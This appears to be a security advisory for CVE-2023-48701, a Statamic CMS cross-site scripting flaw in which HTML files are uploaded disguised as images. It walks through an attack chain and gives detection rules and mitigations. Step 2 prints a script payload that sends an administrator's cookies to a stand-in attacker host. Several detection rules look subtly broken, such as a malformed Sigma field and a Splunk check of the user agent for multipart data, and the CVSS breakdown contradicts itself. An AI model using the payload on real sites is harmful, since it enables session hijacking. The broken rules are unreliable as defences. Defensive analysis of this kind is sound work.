CVE-2023-48701

Executive Summary

CVE-2023-48701 is a Cross-site Scripting (XSS) vulnerability in Statamic CMS, a Laravel and Git powered content management system. The vulnerability allows an unauthenticated attacker to upload HTML files disguised as images via front-end forms that include an assets field, bypassing MIME type validation. Successful exploitation enables arbitrary script execution in the context of an authenticated administrator's browser session when the malicious file is rendered, potentially leading to session hijacking, content manipulation, or privilege escalation within the CMS. The issue affects all Statamic versions prior to 3.4.15 and 4.36.0, with a CVSS score of 7.5, and has a low EPSS score (0.00700), indicating limited active exploitation in the wild at the time of assessment.

Technical Analysis

The vulnerability resides in Statamic's asset upload validation logic. The CMS relies on MIME type validation to restrict which file types can be uploaded through asset fields. However, the validation mechanism is insufficiently robust, as it does not adequately inspect the actual content of the file. Instead, it may rely primarily on the Content-Type header supplied by the client during the HTTP multipart upload, or on superficial file extension checks.

An attacker can craft an HTML file that contains malicious JavaScript and then set the Content-Type header of the upload request to image/png (or any other allowed image MIME type). Because the server-side validation trusts this header or fails to perform a byte-level magic number check (e.g., reading the file signature to verify it is a real PNG/JPEG), the file is accepted and stored in the assets directory.

The uploaded file retains its .html extension (or is otherwise served with an HTML content type), meaning when the file is subsequently accessed via the web server, the browser interprets it as an HTML document and executes any embedded JavaScript. The attack surface is two-fold, as explicitly stated in the NVD description:

1. Front-end Forms: Any public-facing form configured with an "assets" field is a vector. This requires no authentication, making it a remotely exploitable input vector.
2. Control Panel: An authenticated user with the ability to upload assets via the admin panel may also trigger the vulnerability, though this requires prior authentication and is therefore a lower-priority vector.

The root cause is a classic file type confusion / unrestricted file upload flaw. The vulnerability classification is CWE-79 (Cross-site Scripting) because the ultimate impact is the execution of attacker-controlled script within a victim's browser session. The NVD description does not provide the specific code-level details (function names, class names, or validation routines) responsible for the flawed MIME check; sufficient implementation detail is not available in the public advisory to specify the exact vulnerable code path.

Exploitation Scenarios

No public PoC or exploit code is available at the time of writing. The following attack chain is inferred from the vulnerability class and the explicit details in the NVD description.

Step 1 — Reconnaissance and Target Identification An attacker identifies a target Statamic CMS instance. This can be accomplished via search engine dorks (e.g., searching for "Statamic" in page source) or by fingerprinting the CMS through characteristic HTML comments, meta tags, or specific HTTP response headers. The attacker then verifies the version is vulnerable by checking the /CP (Control Panel) login page or the presence of version-specific assets. Critically, the attacker seeks to identify whether the site exposes any public-facing "Forms" feature that includes an "assets" field (e.g., a contact form with a file upload, or a user submission form).

Step 2 — Triggering the Flaw The attacker constructs an HTML file, e.g., payload.html. The file contains a valid HTML structure with an embedded JavaScript payload, such as:

<script>fetch('https://attacker.example/steal?cookie='+document.cookie)</script>

The attacker then submits a standard multipart HTTP POST request to the vulnerable form's upload endpoint. Within the Content-Disposition header of the file part, the attacker sets the filename to something innocuous like image.png. Critically, the attacker sets the Content-Type header of the file part to image/png to satisfy the server's MIME validation check. The server, failing to inspect the actual file signature (magic bytes), accepts the upload and stores it on the filesystem, preserving the .html extension internally or storing the original name which still points to HTML content.

Step 3 — Payload Execution The attacker needs a victim to load the malicious file. The attacker either submits a direct link to the uploaded file (e.g., https://target.com/assets/payload.html) to an authenticated admin via a phishing email, or if the form supports preview functionalities, the admin may automatically be presented with a link to the uploaded asset. When the authenticated admin's browser navigates to the file URL, the web server serves the content with an HTML MIME type, causing the browser to render the HTML and execute the embedded JavaScript.

Step 4 — Post-Exploitation The JavaScript runs within the admin's authenticated session context on the target domain. The payload can steal session cookies, perform state-changing actions via CSRF (creating new admin users, modifying content), or deface the site. Given that Statamic is a Git-powered CMS, the attacker could also potentially commit malicious changes to the content repository, leading to persistent backdoors.

Impact Assessment

The CVSS score of 7.5 is rated High. Based on the described attack surface (anonymous upload via public forms), the primary vector is AV:N (Network), with Low attack complexity (AC:L), and No privileges required (PR:N). However, successful script execution requires user interaction (UI:R), which is reflected in the score, as the attacker must convince an authenticated user to open the malicious file. The impact is rated as High for Confidentiality (C:H) because script execution can exfiltrate session tokens and sensitive administrative data; Limited for Integrity (I:L) and Availability (I:N/A:N) because the primary manipulation targets are session-related.

The business impact for an enterprise using Statamic is significant:

• Data Breach: Compromise of admin sessions could lead to full control of the CMS and underlying data.
• Brand Damage: If the attacker defaces the public content or infects visitors with further malware, it directly harms the organization's reputation.
• Lateral Movement: The CMS is often hosted alongside other web applications; a compromised web server could potentially be used as a pivot point for further network penetration.

The blast radius is contained to the CMS server itself and any integrated systems (user databases, CDN, or Git repositories), but the public-facing forms aspect makes the exploit accessible to the entire internet, lowering the barrier for opportunistic attacks.

Detection Guidance

The following detection rules focus on identifying the upload of HTML files with a mismatched image MIME type, and subsequent HTTP requests to uploaded HTML files.

Sigma Rule

title: Statamic CMS HTML in MIME-typed Asset Upload
id: cfe5a7e0-7d9f-4e4b-9a92-5f65b4e38001
status: experimental
description: Detects attempts to upload a file with an HTML extension to a Statamic CMS form which was submitted with an image MIME type.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-48701
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2023-48701
logsource:
    category: webserver
    definition: 'HTTP access logs for the Statamic CMS server.'
detection:
    selection_upload:
        cs-method: POST
        cs-uri-extension: includess
        cs-uri-query|contains: 'assets'
    selection_mime:
        cs-content-type: 'image/*'
    selection_html_ext:
        cs-uri-extension|endswith: '.html'
    condition: selection_upload and selection_mime and selection_html_ext
level: high
falsepositives:
    - Legitimate admin uploads of HTML files (if allowed by policy).

YARA Rule

rule STATAMIC_HTML_ASSET_UPLOAD
{
    meta:
        author = "Valters IT SOC"
        description = "Detects HTML files uploaded as image assets targeting Statamic CMS CVE-2023-48701"
        cve = "CVE-2023-48701"
        date = "2024-07-18"
    strings:
        $html_tag = /<(html|body|script|iframe|img)[^>]*>/i ascii
        $script_tag = /<script[^>]*>/i ascii
        $img_try = /Content-Type:\s*image\/(png|jpeg|jpg|gif)/ nocase ascii
    condition:
        uint16(0) == 0x3c21 and any of ($html_tag*) and any of ($script_tag*) and any of ($img_try*)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"STATAMIC CVE-2023-48701 HTML upload as image"; flow:established,to_server; content:"POST"; http_method; content:"assets"; http_uri; content:".html"; http_uri; content:"Content-Type|3a 20|image/"; http_header; pcre:"/filename=\"[^\"]+\.(png|jpeg|jpg|gif)\"/i"; classtype:web-application-attack; reference:cve,2023-48701; sid:202348701; rev:1;)

Elastic Detection

sequence by host.name with maxspan=5s
  [network where event.type == "start" and network.direction == "ingress" and network.protocol == "http"
   and http.request.method == "POST" and http.request.body.content contains "filename=" and http.request.body.content matches ".*\\.html.*"]
  [network where event.type == "start" and network.direction == "egress" and network.protocol == "http"
   and http.response.status_code == 200 and url.path endsWith ".html"]

Splunk SPL Query

index=web sourcetype=access_combined
| eval req_uri = lower(uri_path)
| where like(req_uri, "%/assets/%")
| eval file_ext = replace(req_uri, ".*(\.[a-z0-9]{2,5})$", "\1")
| where file_ext == ".html"
| eval upload_request = if(method == "POST" AND like(user_agent, "%multipart/form-data%"), 1, 0)
| stats count by src_ip, uri_path, method, file_ext, upload_request
| where count > 1

Wazuh OSSEC Rule

<group name="statamic,">
  <rule id="100487" level="12">
    <decoded>json</decoded>
    <field name="event.module">modsecurity</field>
    <match>STATAMIC_CVE_2023_48701</match>
    <description>Statamic CMS: HTML file uploaded as image asset detected (CVE-2023-48701).</description>
    <group>web_application_attack,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence is 2/4 — CLAIMED, meaning only the CNA has stated a patch is available; this has not been independently verified. Proceed with caution and apply the fix in a test environment first.

1. Immediate Mitigations (until patch is applied):

   • If no public forms with asset fields exist, the attack surface is limited to authenticated users. Restrict access to the Control Panel to trusted IP addresses or via VPN.
   • If public forms are required, implement a Web Application Firewall (WAF) rule to block uploads where the file extension is .html or .htm, especially when the Content-Type header indicates an image MIME type.
   • Implement a reverse proxy check that inspects the magic bytes of uploaded files, rejecting those that do not match the declared MIME type (e.g., PNG files must start with \x89PNG).

2. Patch/Upgrade Steps:

   • Upgrade Statamic to version 3.4.15 or 4.36.0 (or later) as soon as possible. These versions address the MIME validation bypass.
   • Before upgrading, review the release notes from the CNA (Statamic) for any breaking changes or additional migration steps.
   • After patching, verify the version by checking the VERSION file or using the Control Panel's status page.

3. Long-Term Hardening:

   • Audit all existing uploaded assets in the assets/ directory for any .html files that may have been uploaded prior to the patch. Remediate by deleting or renaming them (e.g., to .html.txt).
   • Ensure the web server is configured to never execute server-side code (like SSI) within the assets directory and to force downloads for unknown MIME types rather than inline rendering.
   • Adopt a content security policy (CSP) header on the CMS domain to mitigate the impact of XSS, should a similar bypass be found in the future.
   • Implement file upload validation at the application layer that checks both the file extension and the actual file signature (magic bytes), and stores uploaded files with a random identifier rather than user-supplied filenames.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-48701
2. Statamic CMS Official Site: https://statamic.com/ (Vendor advisory page, release notes for 3.4.15 and 4.36.0)
3. MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/ (Exploit Public-Facing Application)
4. CWE-79: https://cwe.mitre.org/data/definitions/79.html (Cross-site Scripting)

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: Per the data provided, the CISA KEV list does not include this CVE (CISA KEV: NO), and the EPSS score is 0.00700 (49.8% percentile), suggesting a very low probability of active exploitation currently. No specific threat actor campaigns have been reported in the provided data.